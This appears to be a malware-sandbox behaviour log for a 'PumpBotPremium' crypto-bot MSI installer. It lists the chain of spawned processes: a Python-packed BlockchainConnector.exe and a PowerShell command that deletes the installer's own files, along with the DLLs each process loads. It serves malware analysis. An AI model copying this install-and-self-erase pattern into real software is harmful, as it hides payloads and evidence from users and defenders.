              Source: unknownProcess created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
              Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B605B066270C5298BC361F916947E4D1
              Source: C:\Windows\System32\msiexec.exeProcess created: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe"
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess created: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /s
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeProcess created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /s
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10"
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B605B066270C5298BC361F916947E4D1Jump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess created: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess created: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /sJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeProcess created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfileJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: srpapi.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: textinputframework.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: coreuicomponents.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: coremessaging.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: textshaping.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: wkscli.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: pcacli.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: wkscli.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: srclient.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: spp.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: vssapi.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: vsstrace.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: rstrtmgr.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: ntasn1.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: pcacli.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\System32\msiexec.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: logoncli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: logoncli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: logoncli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: logoncli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windows.ui.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windowmanagementapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: textinputframework.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: inputhost.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coreuicomponents.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coremessaging.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coremessaging.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: twinapi.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: twinapi.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windows.ui.immersive.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: logoncli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: dbghelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: atlthunk.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: textinputframework.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: coreuicomponents.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: coremessaging.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: coremessaging.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: textshaping.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: explorerframe.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: python310.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: sqlite3.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: pdh.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: python3.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: libcrypto-1_1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: libssl-1_1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: pywintypes310.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: libffi-7.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: tcl86t.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: tk86t.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: logoncli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: wsock32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: mfplat.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: mf.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: mfreadwrite.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: dxgi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeSection loaded: d3d11.dllJump to behavior
